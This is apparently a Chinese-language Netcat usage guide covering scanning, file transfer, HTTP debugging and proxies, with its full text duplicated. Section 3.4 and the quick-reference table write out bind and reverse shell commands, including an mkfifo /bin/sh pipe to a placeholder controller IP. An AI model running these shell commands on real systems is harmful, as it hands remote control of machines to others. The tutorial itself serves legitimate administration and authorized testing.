Netcat 被誉为网络工具中的瑞士军刀是一个功能强大的网络调试和诊断工具。它可以在 TCP/UDP 协议下进行连接、监听、端口扫描、文件传输和代理转发等操作。一、安装与基本语法1.1 安装方法操作系统安装命令Ubuntu/Debiansudo apt install netcat-openbsdCentOS/RHELsudo yum install ncmacOSbrew install netcatWindows下载 ncat 或独立nc.exe1.2 基本语法nc [选项] [目标主机] [端口]Netcat 有两种核心工作模式模式说明典型命令客户端模式连接模式主动连接到远程主机nc host port服务器模式监听模式监听本地端口等待连接nc -l -p port二、核心参数详解2.1 基础参数参数说明示例-l监听模式作为服务器端nc -l 8080-p指定本地端口nc -l -p 8080-u使用 UDP 协议默认 TCPnc -u -l 8080-v详细输出-vv更详细nc -vz target 80-n不进行 DNS 解析nc -nv 192.168.1.1 80-z零 I/O 模式仅扫描端口nc -zv target 1-1000-w设置超时时间秒nc -w 3 target 80-k保持监听接受多个连接nc -lk 8080-4仅使用 IPv4nc -4 target 80-6仅使用 IPv6nc -6 target 802.2 高级参数参数说明适用场景-e连接后执行程序危险反向 Shell-c通过/bin/sh执行命令替代-e-x通过代理连接穿透代理-X代理协议4/5/connectSOCKS 代理-NEOF 后关闭 socket规范关闭连接2.3 参数差异说明重要不同 Linux 发行版内置的nc版本可能有差异版本特点常见发行版OpenBSD 版功能丰富、安全无-e选项Ubuntu、Debian、macOSTraditional 版支持-e选项CentOS 6、RHEL 6Ncat (Nmap)功能最全支持 SSL可单独安装查看版本nc -h看输出特征判断。三、核心功能场景3.1 端口扫描TCP 端口扫描# 扫描单个端口 nc -zv 192.168.1.1 22 # 扫描端口范围 nc -zv 192.168.1.1 20-100 # 详细扫描两次 -v nc -vvz 192.168.1.1 80-443 # 带超时扫描 nc -zvw 3 192.168.1.1 1-1000UDP 端口扫描UDP 扫描可靠性较低nc -zuv 192.168.1.1 53 nc -zuv 192.168.1.1 1-100使用说明-z不发送任何数据仅检查连接状态-v显示详细信息-v -v显示更详细内容-w 3设置超时 3 秒避免长时间等待3.2 建立 TCP/UDP 连接与聊天TCP 聊天# 服务器端监听 nc -l 8080 # 客户端连接 nc 192.168.1.100 8080UDP 聊天# 服务端 nc -u -l 8080 # 客户端 nc -u 192.168.1.100 8080连接建立后双方输入的内容会发送给对方按CtrlC退出。持续监听模式接受多个连接nc -lk 80803.3 文件传输传输单个文件# 接收端服务器 nc -l 8080 received_file.txt # 发送端客户端 nc 192.168.1.100 8080 send_file.txt传输目录结合tar# 接收端监听并解压 nc -l 8080 | tar xzvf - # 发送端打包并发送 tar czvf - /path/to/dir | nc 192.168.1.100 8080传输完成后自动关闭当发送端文件传输完毕连接自动关闭。3.4 远程 Shell反弹 Shell正向 Shell目标机器主动提供 Shell# 目标机器服务器 nc -l 8080 -e /bin/bash # Linux需 -e 支持 nc -l 8080 -e cmd.exe # Windows # 控制端客户端 nc target_ip 8080反向 Shell更常用可突破防火墙# 控制端等待连接 nc -l 8080 # 目标机器主动连接 nc 控制端IP 8080 -e /bin/bash无需-e的反向 ShellOpenBSD 版本# 控制端 nc -l 8080 # 目标机器 mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 控制端IP 8080 /tmp/f安全警告-e功能极不安全仅限授权测试环境使用。3.5 HTTP 调试与 Web 服务模拟手动发送 HTTP 请求# 连接后手动输入 nc example.com 80 GET / HTTP/1.1 Host: example.com # 或通过 echo 发送 echo -e GET / HTTP/1.1\r\nHost: example.com\r\n\r\n | nc example.com 80模拟简单 Web 服务器# 返回固定内容 echo -e HTTP/1.1 200 OK\r\n\r\nHello World | nc -l 8080 # 持续响应循环 while true; do echo -e HTTP/1.1 200 OK\r\n\r\n$(date) | nc -l 8080; done3.6 端口转发与代理基本端口转发# 将本地 8080 转发到目标 80需命名管道 mkfifo /tmp/fifo cat /tmp/fifo | nc target 80 | nc -l 8080 /tmp/fifoNcat 代理功能功能更完整# 通过 SOCKS5 代理连接 ncat --proxy socks5://proxy:1080 --proxy-type socks5 target 80 # SSL 加密连接 ncat --ssl target 443四、实用命令速查用途命令端口扫描nc -zv target 1-1000UDP 端口扫描nc -zuv target 53简单聊天服务器nc -l 8080UDP 聊天nc -u -l 8080文件接收nc -l 8080 file文件发送nc target 8080 file目录传输发送tar czf - ./dir | nc target 8080目录传输接收nc -l 8080 | tar xzvf -HTTP GET 请求echo -e GET / HTTP/1.1\r\nHost: target\r\n\r\n | nc target 80简单 Web 服务echo -e HTTP/1.1 200 OK\r\n\r\nOK | nc -l 8080反向 ShellLinuxnc target 8080 -e /bin/bash反向 Shell无 -emkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc target 8080 /tmp/f五、不同版本对比特性OpenBSD ncTraditional ncNcat (Nmap)默认端口扫描-z✅✅✅UDP 支持-u✅✅✅-e选项❌ 不支持✅ 支持✅ 支持SSL/TLS 加密❌❌✅代理支持SOCKS/HTTP✅OpenBSD 新版❌✅多连接模式-k✅❌✅适用场景日常使用老脚本/逆向 Shell安全测试/加密传输推荐日常使用 → OpenBSD 版本系统自带需要-e→ 安装 Ncat 或 Traditional 版需要加密 → 使用 Ncat--ssl选项六、注意事项安全使用-e选项极其危险会暴露系统 Shell仅限授权测试环境使用生产环境推荐使用 Ncat SSL 加密传输敏感数据网络影响高速端口扫描可能被安全设备识别为攻击行为UDP 扫描容易出现误报应配合其他工具验证权限要求绑定 1024 以下端口需要 root 权限某些功能需要 root 权限才能正常工作
Netcat (nc) 全面使用指南
发布时间:2026/5/25 2:17:15
Netcat 被誉为网络工具中的瑞士军刀是一个功能强大的网络调试和诊断工具。它可以在 TCP/UDP 协议下进行连接、监听、端口扫描、文件传输和代理转发等操作。一、安装与基本语法1.1 安装方法操作系统安装命令Ubuntu/Debiansudo apt install netcat-openbsdCentOS/RHELsudo yum install ncmacOSbrew install netcatWindows下载 ncat 或独立nc.exe1.2 基本语法nc [选项] [目标主机] [端口]Netcat 有两种核心工作模式模式说明典型命令客户端模式连接模式主动连接到远程主机nc host port服务器模式监听模式监听本地端口等待连接nc -l -p port二、核心参数详解2.1 基础参数参数说明示例-l监听模式作为服务器端nc -l 8080-p指定本地端口nc -l -p 8080-u使用 UDP 协议默认 TCPnc -u -l 8080-v详细输出-vv更详细nc -vz target 80-n不进行 DNS 解析nc -nv 192.168.1.1 80-z零 I/O 模式仅扫描端口nc -zv target 1-1000-w设置超时时间秒nc -w 3 target 80-k保持监听接受多个连接nc -lk 8080-4仅使用 IPv4nc -4 target 80-6仅使用 IPv6nc -6 target 802.2 高级参数参数说明适用场景-e连接后执行程序危险反向 Shell-c通过/bin/sh执行命令替代-e-x通过代理连接穿透代理-X代理协议4/5/connectSOCKS 代理-NEOF 后关闭 socket规范关闭连接2.3 参数差异说明重要不同 Linux 发行版内置的nc版本可能有差异版本特点常见发行版OpenBSD 版功能丰富、安全无-e选项Ubuntu、Debian、macOSTraditional 版支持-e选项CentOS 6、RHEL 6Ncat (Nmap)功能最全支持 SSL可单独安装查看版本nc -h看输出特征判断。三、核心功能场景3.1 端口扫描TCP 端口扫描# 扫描单个端口 nc -zv 192.168.1.1 22 # 扫描端口范围 nc -zv 192.168.1.1 20-100 # 详细扫描两次 -v nc -vvz 192.168.1.1 80-443 # 带超时扫描 nc -zvw 3 192.168.1.1 1-1000UDP 端口扫描UDP 扫描可靠性较低nc -zuv 192.168.1.1 53 nc -zuv 192.168.1.1 1-100使用说明-z不发送任何数据仅检查连接状态-v显示详细信息-v -v显示更详细内容-w 3设置超时 3 秒避免长时间等待3.2 建立 TCP/UDP 连接与聊天TCP 聊天# 服务器端监听 nc -l 8080 # 客户端连接 nc 192.168.1.100 8080UDP 聊天# 服务端 nc -u -l 8080 # 客户端 nc -u 192.168.1.100 8080连接建立后双方输入的内容会发送给对方按CtrlC退出。持续监听模式接受多个连接nc -lk 80803.3 文件传输传输单个文件# 接收端服务器 nc -l 8080 received_file.txt # 发送端客户端 nc 192.168.1.100 8080 send_file.txt传输目录结合tar# 接收端监听并解压 nc -l 8080 | tar xzvf - # 发送端打包并发送 tar czvf - /path/to/dir | nc 192.168.1.100 8080传输完成后自动关闭当发送端文件传输完毕连接自动关闭。3.4 远程 Shell反弹 Shell正向 Shell目标机器主动提供 Shell# 目标机器服务器 nc -l 8080 -e /bin/bash # Linux需 -e 支持 nc -l 8080 -e cmd.exe # Windows # 控制端客户端 nc target_ip 8080反向 Shell更常用可突破防火墙# 控制端等待连接 nc -l 8080 # 目标机器主动连接 nc 控制端IP 8080 -e /bin/bash无需-e的反向 ShellOpenBSD 版本# 控制端 nc -l 8080 # 目标机器 mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 控制端IP 8080 /tmp/f安全警告-e功能极不安全仅限授权测试环境使用。3.5 HTTP 调试与 Web 服务模拟手动发送 HTTP 请求# 连接后手动输入 nc example.com 80 GET / HTTP/1.1 Host: example.com # 或通过 echo 发送 echo -e GET / HTTP/1.1\r\nHost: example.com\r\n\r\n | nc example.com 80模拟简单 Web 服务器# 返回固定内容 echo -e HTTP/1.1 200 OK\r\n\r\nHello World | nc -l 8080 # 持续响应循环 while true; do echo -e HTTP/1.1 200 OK\r\n\r\n$(date) | nc -l 8080; done3.6 端口转发与代理基本端口转发# 将本地 8080 转发到目标 80需命名管道 mkfifo /tmp/fifo cat /tmp/fifo | nc target 80 | nc -l 8080 /tmp/fifoNcat 代理功能功能更完整# 通过 SOCKS5 代理连接 ncat --proxy socks5://proxy:1080 --proxy-type socks5 target 80 # SSL 加密连接 ncat --ssl target 443四、实用命令速查用途命令端口扫描nc -zv target 1-1000UDP 端口扫描nc -zuv target 53简单聊天服务器nc -l 8080UDP 聊天nc -u -l 8080文件接收nc -l 8080 file文件发送nc target 8080 file目录传输发送tar czf - ./dir | nc target 8080目录传输接收nc -l 8080 | tar xzvf -HTTP GET 请求echo -e GET / HTTP/1.1\r\nHost: target\r\n\r\n | nc target 80简单 Web 服务echo -e HTTP/1.1 200 OK\r\n\r\nOK | nc -l 8080反向 ShellLinuxnc target 8080 -e /bin/bash反向 Shell无 -emkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc target 8080 /tmp/f五、不同版本对比特性OpenBSD ncTraditional ncNcat (Nmap)默认端口扫描-z✅✅✅UDP 支持-u✅✅✅-e选项❌ 不支持✅ 支持✅ 支持SSL/TLS 加密❌❌✅代理支持SOCKS/HTTP✅OpenBSD 新版❌✅多连接模式-k✅❌✅适用场景日常使用老脚本/逆向 Shell安全测试/加密传输推荐日常使用 → OpenBSD 版本系统自带需要-e→ 安装 Ncat 或 Traditional 版需要加密 → 使用 Ncat--ssl选项六、注意事项安全使用-e选项极其危险会暴露系统 Shell仅限授权测试环境使用生产环境推荐使用 Ncat SSL 加密传输敏感数据网络影响高速端口扫描可能被安全设备识别为攻击行为UDP 扫描容易出现误报应配合其他工具验证权限要求绑定 1024 以下端口需要 root 权限某些功能需要 root 权限才能正常工作